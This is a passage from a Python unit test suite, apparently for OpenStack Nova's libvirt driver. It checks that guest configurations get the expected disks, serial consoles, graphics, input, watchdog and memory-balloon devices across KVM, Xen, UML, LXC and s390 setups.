self.assertEqual(cfg.memory, 2 * units.Mi) self.assertEqual(cfg.vcpus, 1) self.assertEqual(cfg.os_type, vm_mode.HVM) self.assertEqual(cfg.os_boot_dev, ["hd"]) self.assertIsNone(cfg.os_root) self.assertEqual(len(cfg.devices), 10) self.assertIsInstance(cfg.devices[0], vconfig.LibvirtConfigGuestDisk) self.assertIsInstance(cfg.devices[1], vconfig.LibvirtConfigGuestDisk) self.assertIsInstance(cfg.devices[2], vconfig.LibvirtConfigGuestInterface) self.assertIsInstance(cfg.devices[3], vconfig.LibvirtConfigGuestInterface) self.assertIsInstance(cfg.devices[4], vconfig.LibvirtConfigGuestSerial) self.assertIsInstance(cfg.devices[5], vconfig.LibvirtConfigGuestSerial) self.assertIsInstance(cfg.devices[6], vconfig.LibvirtConfigGuestInput) self.assertIsInstance(cfg.devices[7], vconfig.LibvirtConfigGuestGraphics) self.assertIsInstance(cfg.devices[8], vconfig.LibvirtConfigGuestVideo) self.assertIsInstance(cfg.devices[9], vconfig.LibvirtConfigMemoryBalloon) def test_get_guest_config_bug_1118829(self): self.flags(virt_type='uml', group='libvirt') drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = objects.Instance(**self.test_instance) disk_info = {'disk_bus': 'virtio', 'cdrom_bus': 'ide', 'mapping': {u'vda': {'bus': 'virtio', 'type': 'disk', 'dev': u'vda'}, 'root': {'bus': 'virtio', 'type': 'disk', 'dev': 'vda'}}} # NOTE(jdg): For this specific test leave this blank # This will exercise the failed code path still, # and won't require fakes and stubs of the iscsi discovery block_device_info = {} drvr._get_guest_config(instance_ref, [], {}, disk_info, None, block_device_info) self.assertEqual(instance_ref['root_device_name'], '/dev/vda') def test_get_guest_config_with_root_device_name(self): self.flags(virt_type='uml', group='libvirt') drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = objects.Instance(**self.test_instance) image_meta = {} block_device_info = {'root_device_name': '/dev/vdb'} disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref, image_meta, block_device_info) cfg = drvr._get_guest_config(instance_ref, [], {}, disk_info, None, block_device_info) self.assertEqual(0, len(cfg.features)) self.assertEqual(cfg.memory, 2 * units.Mi) self.assertEqual(cfg.vcpus, 1) self.assertEqual(cfg.os_type, "uml") self.assertEqual(cfg.os_boot_dev, []) self.assertEqual(cfg.os_root, '/dev/vdb') self.assertEqual(len(cfg.devices), 3) self.assertIsInstance(cfg.devices[0], vconfig.LibvirtConfigGuestDisk) self.assertIsInstance(cfg.devices[1], vconfig.LibvirtConfigGuestDisk) self.assertIsInstance(cfg.devices[2], vconfig.LibvirtConfigGuestConsole) def test_get_guest_config_with_block_device(self): drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = objects.Instance(**self.test_instance) image_meta = {} conn_info = {'driver_volume_type': 'fake'} info = {'block_device_mapping': driver_block_device.convert_volumes([ fake_block_device.FakeDbBlockDeviceDict( {'id': 1, 'source_type': 'volume', 'destination_type': 'volume', 'device_name': '/dev/vdc'}), fake_block_device.FakeDbBlockDeviceDict( {'id': 2, 'source_type': 'volume', 'destination_type': 'volume', 'device_name': '/dev/vdd'}), ])} info['block_device_mapping'][0]['connection_info'] = conn_info info['block_device_mapping'][1]['connection_info'] = conn_info disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref, image_meta, info) with mock.patch.object( driver_block_device.DriverVolumeBlockDevice, 'save' ) as mock_save: cfg = drvr._get_guest_config(instance_ref, [], {}, disk_info, None, info) self.assertIsInstance(cfg.devices[2], vconfig.LibvirtConfigGuestDisk) self.assertEqual(cfg.devices[2].target_dev, 'vdc') self.assertIsInstance(cfg.devices[3], vconfig.LibvirtConfigGuestDisk) self.assertEqual(cfg.devices[3].target_dev, 'vdd') mock_save.assert_called_with() def test_get_guest_config_lxc_with_attached_volume(self): self.flags(virt_type='lxc', group='libvirt') drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = objects.Instance(**self.test_instance) image_meta = {} conn_info = {'driver_volume_type': 'fake'} info = {'block_device_mapping': driver_block_device.convert_volumes([ fake_block_device.FakeDbBlockDeviceDict( {'id': 1, 'source_type': 'volume', 'destination_type': 'volume', 'boot_index': 0}), fake_block_device.FakeDbBlockDeviceDict( {'id': 2, 'source_type': 'volume', 'destination_type': 'volume', }), fake_block_device.FakeDbBlockDeviceDict( {'id': 3, 'source_type': 'volume', 'destination_type': 'volume', }), ])} info['block_device_mapping'][0]['connection_info'] = conn_info info['block_device_mapping'][1]['connection_info'] = conn_info info['block_device_mapping'][2]['connection_info'] = conn_info info['block_device_mapping'][0]['mount_device'] = '/dev/vda' info['block_device_mapping'][1]['mount_device'] = '/dev/vdc' info['block_device_mapping'][2]['mount_device'] = '/dev/vdd' with mock.patch.object( driver_block_device.DriverVolumeBlockDevice, 'save' ) as mock_save: disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref, image_meta, info) cfg = drvr._get_guest_config(instance_ref, [], {}, disk_info, None, info) self.assertIsInstance(cfg.devices[1], vconfig.LibvirtConfigGuestDisk) self.assertEqual(cfg.devices[1].target_dev, 'vdc') self.assertIsInstance(cfg.devices[2], vconfig.LibvirtConfigGuestDisk) self.assertEqual(cfg.devices[2].target_dev, 'vdd') mock_save.assert_called_with() def test_get_guest_config_with_configdrive(self): # It's necessary to check if the architecture is power, because # power doesn't have support to ide, and so libvirt translate # all ide calls to scsi drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = objects.Instance(**self.test_instance) image_meta = {} # make configdrive.required_by() return True instance_ref['config_drive'] = True disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref, image_meta) cfg = drvr._get_guest_config(instance_ref, [], {}, disk_info) # The last device is selected for this. on x86 is the last ide # device (hdd). Since power only support scsi, the last device # is sdz expect = {"ppc": "sdz", "ppc64": "sdz"} disk = expect.get(blockinfo.libvirt_utils.get_arch({}), "hdd") self.assertIsInstance(cfg.devices[2], vconfig.LibvirtConfigGuestDisk) self.assertEqual(cfg.devices[2].target_dev, disk) def test_get_guest_config_with_virtio_scsi_bus(self): drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) image_meta = {"properties": {"hw_scsi_model": "virtio-scsi"}} instance_ref = objects.Instance(**self.test_instance) disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref, image_meta, []) cfg = drvr._get_guest_config(instance_ref, [], image_meta, disk_info) self.assertIsInstance(cfg.devices[0], vconfig.LibvirtConfigGuestDisk) self.assertIsInstance(cfg.devices[1], vconfig.LibvirtConfigGuestDisk) self.assertIsInstance(cfg.devices[2], vconfig.LibvirtConfigGuestController) self.assertEqual(cfg.devices[2].model, 'virtio-scsi') def test_get_guest_config_with_virtio_scsi_bus_bdm(self): drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) image_meta = {"properties": {"hw_scsi_model": "virtio-scsi"}} instance_ref = objects.Instance(**self.test_instance) conn_info = {'driver_volume_type': 'fake'} bd_info = { 'block_device_mapping': driver_block_device.convert_volumes([ fake_block_device.FakeDbBlockDeviceDict( {'id': 1, 'source_type': 'volume', 'destination_type': 'volume', 'device_name': '/dev/sdc', 'disk_bus': 'scsi'}), fake_block_device.FakeDbBlockDeviceDict( {'id': 2, 'source_type': 'volume', 'destination_type': 'volume', 'device_name': '/dev/sdd', 'disk_bus': 'scsi'}), ])} bd_info['block_device_mapping'][0]['connection_info'] = conn_info bd_info['block_device_mapping'][1]['connection_info'] = conn_info disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref, image_meta, bd_info) with mock.patch.object( driver_block_device.DriverVolumeBlockDevice, 'save' ) as mock_save: cfg = drvr._get_guest_config(instance_ref, [], image_meta, disk_info, [], bd_info) self.assertIsInstance(cfg.devices[2], vconfig.LibvirtConfigGuestDisk) self.assertEqual(cfg.devices[2].target_dev, 'sdc') self.assertEqual(cfg.devices[2].target_bus, 'scsi') self.assertIsInstance(cfg.devices[3], vconfig.LibvirtConfigGuestDisk) self.assertEqual(cfg.devices[3].target_dev, 'sdd') self.assertEqual(cfg.devices[3].target_bus, 'scsi') self.assertIsInstance(cfg.devices[4], vconfig.LibvirtConfigGuestController) self.assertEqual(cfg.devices[4].model, 'virtio-scsi') mock_save.assert_called_with() def test_get_guest_config_with_vnc(self): self.flags(enabled=True, group='vnc') self.flags(virt_type='kvm', use_usb_tablet=False, group='libvirt') self.flags(enabled=False, group='spice') drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = objects.Instance(**self.test_instance) image_meta = {} disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref, image_meta) cfg = drvr._get_guest_config(instance_ref, [], {}, disk_info) self.assertEqual(len(cfg.devices), 7) self.assertIsInstance(cfg.devices[0], vconfig.LibvirtConfigGuestDisk) self.assertIsInstance(cfg.devices[1], vconfig.LibvirtConfigGuestDisk) self.assertIsInstance(cfg.devices[2], vconfig.LibvirtConfigGuestSerial) self.assertIsInstance(cfg.devices[3], vconfig.LibvirtConfigGuestSerial) self.assertIsInstance(cfg.devices[4], vconfig.LibvirtConfigGuestGraphics) self.assertIsInstance(cfg.devices[5], vconfig.LibvirtConfigGuestVideo) self.assertIsInstance(cfg.devices[6], vconfig.LibvirtConfigMemoryBalloon) self.assertEqual(cfg.devices[4].type, "vnc") def test_get_guest_config_with_vnc_and_tablet(self): self.flags(enabled=True, group='vnc') self.flags(virt_type='kvm', use_usb_tablet=True, group='libvirt') self.flags(enabled=False, group='spice') drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = objects.Instance(**self.test_instance) image_meta = {} disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref, image_meta) cfg = drvr._get_guest_config(instance_ref, [], {}, disk_info) self.assertEqual(len(cfg.devices), 8) self.assertIsInstance(cfg.devices[0], vconfig.LibvirtConfigGuestDisk) self.assertIsInstance(cfg.devices[1], vconfig.LibvirtConfigGuestDisk) self.assertIsInstance(cfg.devices[2], vconfig.LibvirtConfigGuestSerial) self.assertIsInstance(cfg.devices[3], vconfig.LibvirtConfigGuestSerial) self.assertIsInstance(cfg.devices[4], vconfig.LibvirtConfigGuestInput) self.assertIsInstance(cfg.devices[5], vconfig.LibvirtConfigGuestGraphics) self.assertIsInstance(cfg.devices[6], vconfig.LibvirtConfigGuestVideo) self.assertIsInstance(cfg.devices[7], vconfig.LibvirtConfigMemoryBalloon) self.assertEqual(cfg.devices[4].type, "tablet") self.assertEqual(cfg.devices[5].type, "vnc") def test_get_guest_config_with_spice_and_tablet(self): self.flags(enabled=False, group='vnc') self.flags(virt_type='kvm', use_usb_tablet=True, group='libvirt') self.flags(enabled=True, agent_enabled=False, group='spice') drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = objects.Instance(**self.test_instance) image_meta = {} disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref, image_meta) cfg = drvr._get_guest_config(instance_ref, [], {}, disk_info) self.assertEqual(len(cfg.devices), 8) self.assertIsInstance(cfg.devices[0], vconfig.LibvirtConfigGuestDisk) self.assertIsInstance(cfg.devices[1], vconfig.LibvirtConfigGuestDisk) self.assertIsInstance(cfg.devices[2], vconfig.LibvirtConfigGuestSerial) self.assertIsInstance(cfg.devices[3], vconfig.LibvirtConfigGuestSerial) self.assertIsInstance(cfg.devices[4], vconfig.LibvirtConfigGuestInput) self.assertIsInstance(cfg.devices[5], vconfig.LibvirtConfigGuestGraphics) self.assertIsInstance(cfg.devices[6], vconfig.LibvirtConfigGuestVideo) self.assertIsInstance(cfg.devices[7], vconfig.LibvirtConfigMemoryBalloon) self.assertEqual(cfg.devices[4].type, "tablet") self.assertEqual(cfg.devices[5].type, "spice") def test_get_guest_config_with_spice_and_agent(self): self.flags(enabled=False, group='vnc') self.flags(virt_type='kvm', use_usb_tablet=True, group='libvirt') self.flags(enabled=True, agent_enabled=True, group='spice') drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = objects.Instance(**self.test_instance) image_meta = {} disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref, image_meta) cfg = drvr._get_guest_config(instance_ref, [], {}, disk_info) self.assertEqual(len(cfg.devices), 8) self.assertIsInstance(cfg.devices[0], vconfig.LibvirtConfigGuestDisk) self.assertIsInstance(cfg.devices[1], vconfig.LibvirtConfigGuestDisk) self.assertIsInstance(cfg.devices[2], vconfig.LibvirtConfigGuestSerial) self.assertIsInstance(cfg.devices[3], vconfig.LibvirtConfigGuestSerial) self.assertIsInstance(cfg.devices[4], vconfig.LibvirtConfigGuestChannel) self.assertIsInstance(cfg.devices[5], vconfig.LibvirtConfigGuestGraphics) self.assertIsInstance(cfg.devices[6], vconfig.LibvirtConfigGuestVideo) self.assertIsInstance(cfg.devices[7], vconfig.LibvirtConfigMemoryBalloon) self.assertEqual(cfg.devices[4].target_name, "com.redhat.spice.0") self.assertEqual(cfg.devices[5].type, "spice") self.assertEqual(cfg.devices[6].type, "qxl") @mock.patch('nova.console.serial.acquire_port') @mock.patch('nova.virt.hardware.get_number_of_serial_ports', return_value=1) @mock.patch.object(libvirt_driver.libvirt_utils, 'get_arch',) def test_create_serial_console_devices_based_on_arch(self, mock_get_arch, mock_get_port_number, mock_acquire_port): self.flags(enabled=True, group='serial_console') drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) expected = {arch.X86_64: vconfig.LibvirtConfigGuestSerial, arch.S390: vconfig.LibvirtConfigGuestConsole, arch.S390X: vconfig.LibvirtConfigGuestConsole} for guest_arch, device_type in expected.items(): mock_get_arch.return_value = guest_arch guest = vconfig.LibvirtConfigGuest() drvr._create_serial_console_devices(guest, instance=None, flavor={}, image_meta={}) self.assertEqual(1, len(guest.devices)) console_device = guest.devices[0] self.assertIsInstance(console_device, device_type) self.assertEqual("tcp", console_device.type) @mock.patch('nova.console.serial.acquire_port') def test_get_guest_config_serial_console(self, acquire_port): self.flags(enabled=True, group='serial_console') drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = objects.Instance(**self.test_instance) image_meta = {} disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref, image_meta) acquire_port.return_value = 11111 cfg = drvr._get_guest_config(instance_ref, [], {}, disk_info) self.assertEqual(8, len(cfg.devices)) self.assertIsInstance(cfg.devices[0], vconfig.LibvirtConfigGuestDisk) self.assertIsInstance(cfg.devices[1], vconfig.LibvirtConfigGuestDisk) self.assertIsInstance(cfg.devices[2], vconfig.LibvirtConfigGuestSerial) self.assertIsInstance(cfg.devices[3], vconfig.LibvirtConfigGuestSerial) self.assertIsInstance(cfg.devices[4], vconfig.LibvirtConfigGuestInput) self.assertIsInstance(cfg.devices[5], vconfig.LibvirtConfigGuestGraphics) self.assertIsInstance(cfg.devices[6], vconfig.LibvirtConfigGuestVideo) self.assertIsInstance(cfg.devices[7], vconfig.LibvirtConfigMemoryBalloon) self.assertEqual("tcp", cfg.devices[2].type) self.assertEqual(11111, cfg.devices[2].listen_port) def test_get_guest_config_serial_console_through_flavor(self): self.flags(enabled=True, group='serial_console') drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = objects.Instance(**self.test_instance) instance_ref.flavor.extra_specs = {'hw:serial_port_count': 3} image_meta = {} disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref, image_meta) cfg = drvr._get_guest_config(instance_ref, [], {}, disk_info) self.assertEqual(10, len(cfg.devices)) self.assertIsInstance(cfg.devices[0], vconfig.LibvirtConfigGuestDisk) self.assertIsInstance(cfg.devices[1], vconfig.LibvirtConfigGuestDisk) self.assertIsInstance(cfg.devices[2], vconfig.LibvirtConfigGuestSerial) self.assertIsInstance(cfg.devices[3], vconfig.LibvirtConfigGuestSerial) self.assertIsInstance(cfg.devices[4], vconfig.LibvirtConfigGuestSerial) self.assertIsInstance(cfg.devices[5], vconfig.LibvirtConfigGuestSerial) self.assertIsInstance(cfg.devices[6], vconfig.LibvirtConfigGuestInput) self.assertIsInstance(cfg.devices[7], vconfig.LibvirtConfigGuestGraphics) self.assertIsInstance(cfg.devices[8], vconfig.LibvirtConfigGuestVideo) self.assertIsInstance(cfg.devices[9], vconfig.LibvirtConfigMemoryBalloon) self.assertEqual("tcp", cfg.devices[2].type) self.assertEqual("tcp", cfg.devices[3].type) self.assertEqual("tcp", cfg.devices[4].type) def test_get_guest_config_serial_console_invalid_flavor(self): self.flags(enabled=True, group='serial_console') drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = objects.Instance(**self.test_instance) instance_ref.flavor.extra_specs = {'hw:serial_port_count': "a"} image_meta = {} disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref, image_meta) self.assertRaises( exception.ImageSerialPortNumberInvalid, drvr._get_guest_config, instance_ref, [], {}, disk_info) def test_get_guest_config_serial_console_image_and_flavor(self): self.flags(enabled=True, group='serial_console') drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) image_meta = {"properties": {"hw_serial_port_count": "3"}} instance_ref = objects.Instance(**self.test_instance) instance_ref.flavor.extra_specs = {'hw:serial_port_count': 4} disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref, image_meta) cfg = drvr._get_guest_config(instance_ref, [], image_meta, disk_info) self.assertEqual(10, len(cfg.devices), cfg.devices) self.assertIsInstance(cfg.devices[0], vconfig.LibvirtConfigGuestDisk) self.assertIsInstance(cfg.devices[1], vconfig.LibvirtConfigGuestDisk) self.assertIsInstance(cfg.devices[2], vconfig.LibvirtConfigGuestSerial) self.assertIsInstance(cfg.devices[3], vconfig.LibvirtConfigGuestSerial) self.assertIsInstance(cfg.devices[4], vconfig.LibvirtConfigGuestSerial) self.assertIsInstance(cfg.devices[5], vconfig.LibvirtConfigGuestSerial) self.assertIsInstance(cfg.devices[6], vconfig.LibvirtConfigGuestInput) self.assertIsInstance(cfg.devices[7], vconfig.LibvirtConfigGuestGraphics) self.assertIsInstance(cfg.devices[8], vconfig.LibvirtConfigGuestVideo) self.assertIsInstance(cfg.devices[9], vconfig.LibvirtConfigMemoryBalloon) self.assertEqual("tcp", cfg.devices[2].type) self.assertEqual("tcp", cfg.devices[3].type) self.assertEqual("tcp", cfg.devices[4].type) @mock.patch('nova.console.serial.acquire_port') def test_get_guest_config_serial_console_through_port_rng_exhausted( self, acquire_port): self.flags(enabled=True, group='serial_console') drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = objects.Instance(**self.test_instance) image_meta = {} disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref, image_meta) acquire_port.side_effect = exception.SocketPortRangeExhaustedException( '127.0.0.1') self.assertRaises( exception.SocketPortRangeExhaustedException, drvr._get_guest_config, instance_ref, [], {}, disk_info) @mock.patch.object(host.Host, "get_domain") def test_get_serial_ports_from_instance(self, mock_get_domain): i = self._test_get_serial_ports_from_instance(None, mock_get_domain) self.assertEqual([ ('127.0.0.1', 100), ('127.0.0.1', 101), ('127.0.0.2', 100), ('127.0.0.2', 101)], list(i)) @mock.patch.object(host.Host, "get_domain") def test_get_serial_ports_from_instance_bind_only(self, mock_get_domain): i = self._test_get_serial_ports_from_instance('bind', mock_get_domain) self.assertEqual([ ('127.0.0.1', 101), ('127.0.0.2', 100)], list(i)) @mock.patch.object(host.Host, "get_domain") def test_get_serial_ports_from_instance_connect_only(self, mock_get_domain): i = self._test_get_serial_ports_from_instance('connect', mock_get_domain) self.assertEqual([ ('127.0.0.1', 100), ('127.0.0.2', 101)], list(i)) @mock.patch.object(host.Host, "get_domain") def test_get_serial_ports_from_instance_on_s390(self, mock_get_domain): i = self._test_get_serial_ports_from_instance(None, mock_get_domain, 'console') self.assertEqual([ ('127.0.0.1', 100), ('127.0.0.1', 101), ('127.0.0.2', 100), ('127.0.0.2', 101)], list(i)) def _test_get_serial_ports_from_instance(self, mode, mock_get_domain, dev_name='serial'): xml = """ <domain type='kvm'> <devices> <%(dev_name)s type="tcp"> <source host="127.0.0.1" service="100" mode="connect"/> </%(dev_name)s> <%(dev_name)s type="tcp"> <source host="127.0.0.1" service="101" mode="bind"/> </%(dev_name)s> <%(dev_name)s type="tcp"> <source host="127.0.0.2" service="100" mode="bind"/> </%(dev_name)s> <%(dev_name)s type="tcp"> <source host="127.0.0.2" service="101" mode="connect"/> </%(dev_name)s> </devices> </domain>""" % {'dev_name': dev_name} dom = mock.MagicMock() dom.XMLDesc.return_value = xml mock_get_domain.return_value = dom drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance = objects.Instance(**self.test_instance) return drvr._get_serial_ports_from_instance( instance, mode=mode) def test_get_guest_config_with_type_xen(self): self.flags(enabled=True, group='vnc') self.flags(virt_type='xen', use_usb_tablet=False, group='libvirt') self.flags(enabled=False, group='spice') drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = objects.Instance(**self.test_instance) image_meta = {} disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref, image_meta) cfg = drvr._get_guest_config(instance_ref, [], {}, disk_info) self.assertEqual(len(cfg.devices), 6) self.assertIsInstance(cfg.devices[0], vconfig.LibvirtConfigGuestDisk) self.assertIsInstance(cfg.devices[1], vconfig.LibvirtConfigGuestDisk) self.assertIsInstance(cfg.devices[2], vconfig.LibvirtConfigGuestConsole) self.assertIsInstance(cfg.devices[3], vconfig.LibvirtConfigGuestGraphics) self.assertIsInstance(cfg.devices[4], vconfig.LibvirtConfigGuestVideo) self.assertIsInstance(cfg.devices[5], vconfig.LibvirtConfigMemoryBalloon) self.assertEqual(cfg.devices[3].type, "vnc") self.assertEqual(cfg.devices[4].type, "xen") @mock.patch.object(libvirt_driver.libvirt_utils, 'get_arch', return_value=arch.S390X) def test_get_guest_config_with_type_kvm_on_s390(self, mock_get_arch): self.flags(enabled=False, group='vnc') self.flags(virt_type='kvm', use_usb_tablet=False, group='libvirt') self._stub_host_capabilities_cpu_arch(arch.S390X) instance_ref = objects.Instance(**self.test_instance) cfg = self._get_guest_config_via_fake_api(instance_ref) self.assertIsInstance(cfg.devices[0], vconfig.LibvirtConfigGuestDisk) self.assertIsInstance(cfg.devices[1], vconfig.LibvirtConfigGuestDisk) log_file_device = cfg.devices[2] self.assertIsInstance(log_file_device, vconfig.LibvirtConfigGuestConsole) self.assertEqual("sclplm", log_file_device.target_type) self.assertEqual("file", log_file_device.type) terminal_device = cfg.devices[3] self.assertIsInstance(terminal_device, vconfig.LibvirtConfigGuestConsole) self.assertEqual("sclp", terminal_device.target_type) self.assertEqual("pty", terminal_device.type) self.assertEqual("s390-ccw-virtio", cfg.os_mach_type) def _stub_host_capabilities_cpu_arch(self, cpu_arch): def get_host_capabilities_stub(self): cpu = vconfig.LibvirtConfigGuestCPU() cpu.arch = cpu_arch caps = vconfig.LibvirtConfigCaps() caps.host = vconfig.LibvirtConfigCapsHost() caps.host.cpu = cpu return caps self.stubs.Set(host.Host, "get_capabilities", get_host_capabilities_stub) def _get_guest_config_via_fake_api(self, instance): drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) image_meta = {} disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance, image_meta) return drvr._get_guest_config(instance, [], {}, disk_info) def test_get_guest_config_with_type_xen_pae_hvm(self): self.flags(enabled=True, group='vnc') self.flags(virt_type='xen', use_usb_tablet=False, group='libvirt') self.flags(enabled=False, group='spice') drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = objects.Instance(**self.test_instance) instance_ref['vm_mode'] = vm_mode.HVM image_meta = {} disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref, image_meta) cfg = drvr._get_guest_config(instance_ref, [], {}, disk_info) self.assertEqual(cfg.os_type, vm_mode.HVM) self.assertEqual(cfg.os_loader, CONF.libvirt.xen_hvmloader_path) self.assertEqual(3, len(cfg.features)) self.assertIsInstance(cfg.features[0], vconfig.LibvirtConfigGuestFeaturePAE) self.assertIsInstance(cfg.features[1], vconfig.LibvirtConfigGuestFeatureACPI) self.assertIsInstance(cfg.features[2], vconfig.LibvirtConfigGuestFeatureAPIC) def test_get_guest_config_with_type_xen_pae_pvm(self): self.flags(enabled=True, group='vnc') self.flags(virt_type='xen', use_usb_tablet=False, group='libvirt') self.flags(enabled=False, group='spice') drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = objects.Instance(**self.test_instance) image_meta = {} disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref, image_meta) cfg = drvr._get_guest_config(instance_ref, [], {}, disk_info) self.assertEqual(cfg.os_type, vm_mode.XEN) self.assertEqual(1, len(cfg.features)) self.assertIsInstance(cfg.features[0], vconfig.LibvirtConfigGuestFeaturePAE) def test_get_guest_config_with_vnc_and_spice(self): self.flags(enabled=True, group='vnc') self.flags(virt_type='kvm', use_usb_tablet=True, group='libvirt') self.flags(enabled=True, agent_enabled=True, group='spice') drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = objects.Instance(**self.test_instance) image_meta = {} disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref, image_meta) cfg = drvr._get_guest_config(instance_ref, [], {}, disk_info) self.assertEqual(len(cfg.devices), 10) self.assertIsInstance(cfg.devices[0], vconfig.LibvirtConfigGuestDisk) self.assertIsInstance(cfg.devices[1], vconfig.LibvirtConfigGuestDisk) self.assertIsInstance(cfg.devices[2], vconfig.LibvirtConfigGuestSerial) self.assertIsInstance(cfg.devices[3], vconfig.LibvirtConfigGuestSerial) self.assertIsInstance(cfg.devices[4], vconfig.LibvirtConfigGuestInput) self.assertIsInstance(cfg.devices[5], vconfig.LibvirtConfigGuestChannel) self.assertIsInstance(cfg.devices[6], vconfig.LibvirtConfigGuestGraphics) self.assertIsInstance(cfg.devices[7], vconfig.LibvirtConfigGuestGraphics) self.assertIsInstance(cfg.devices[8], vconfig.LibvirtConfigGuestVideo) self.assertIsInstance(cfg.devices[9], vconfig.LibvirtConfigMemoryBalloon) self.assertEqual(cfg.devices[4].type, "tablet") self.assertEqual(cfg.devices[5].target_name, "com.redhat.spice.0") self.assertEqual(cfg.devices[6].type, "vnc") self.assertEqual(cfg.devices[7].type, "spice") def test_get_guest_config_with_watchdog_action_image_meta(self): self.flags(virt_type='kvm', group='libvirt') drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = objects.Instance(**self.test_instance) image_meta = {} disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref, image_meta) image_meta = {"properties": {"hw_watchdog_action": "none"}} cfg = drvr._get_guest_config(instance_ref, [], image_meta, disk_info) self.assertEqual(len(cfg.devices), 9) self.assertIsInstance(cfg.devices[0], vconfig.LibvirtConfigGuestDisk) self.assertIsInstance(cfg.devices[1], vconfig.LibvirtConfigGuestDisk) self.assertIsInstance(cfg.devices[2], vconfig.LibvirtConfigGuestSerial) self.assertIsInstance(cfg.devices[3], vconfig.LibvirtConfigGuestSerial) self.assertIsInstance(cfg.devices[4], vconfig.LibvirtConfigGuestInput) self.assertIsInstance(cfg.devices[5], vconfig.LibvirtConfigGuestGraphics) self.assertIsInstance(cfg.devices[6], vconfig.LibvirtConfigGuestVideo) self.assertIsInstance(cfg.devices[7], vconfig.LibvirtConfigGuestWatchdog) self.assertIsInstance(cfg.devices[8], vconfig.LibvirtConfigMemoryBalloon) self.assertEqual("none", cfg.devices[7].action) def _test_get_guest_usb_tablet(self, vnc_enabled, spice_enabled, os_type, agent_enabled=False): self.flags(enabled=vnc_enabled, group='vnc') self.flags(enabled=spice_enabled, agent_enabled=agent_enabled, group='spice') drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) return drvr._get_guest_usb_tablet(os_type) def test_get_guest_usb_tablet_wipe(self): self.flags(use_usb_tablet=True, group='libvirt') tablet = self._test_get_guest_usb_tablet(True, True, vm_mode.HVM) self.assertIsNotNone(tablet) tablet = self._test_get_guest_usb_tablet(True, False, vm_mode.HVM) self.assertIsNotNone(tablet) tablet = self._test_get_guest_usb_tablet(False, True, vm_mode.HVM) self.assertIsNotNone(tablet) tablet = self._test_get_guest_usb_tablet(False, False, vm_mode.HVM) self.assertIsNone(tablet) tablet = self._test_get_guest_usb_tablet(True, True, "foo") self.assertIsNone(tablet) tablet = self._test_get_guest_usb_tablet( False, True, vm_mode.HVM, True) self.assertIsNone(tablet) def _test_get_guest_config_with_watchdog_action_flavor(self, hw_watchdog_action="hw:watchdog_action"): self.flags(virt_type='kvm', group='libvirt') drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = objects.Instance(**self.test_instance) instance_ref.flavor.extra_specs = {hw_watchdog_action: 'none'} image_meta = {} disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref, image_meta) cfg = drvr._get_guest_config(instance_ref, [], {}, disk_info) self.assertEqual(9, len(cfg.devices)) self.assertIsInstance(cfg.devices[0], vconfig.LibvirtConfigGuestDisk) self.assertIsInstance(cfg.devices[1], vconfig.LibvirtConfigGuestDisk) self.assertIsInstance(cfg.devices[2], vconfig.LibvirtConfigGuestSerial) self.assertIsInstance(cfg.devices[3], vconfig.LibvirtConfigGuestSerial) self.assertIsInstance(cfg.devices[4], vconfig.LibvirtConfigGuestInput) self.assertIsInstance(cfg.devices[5], vconfig.LibvirtConfigGuestGraphics) 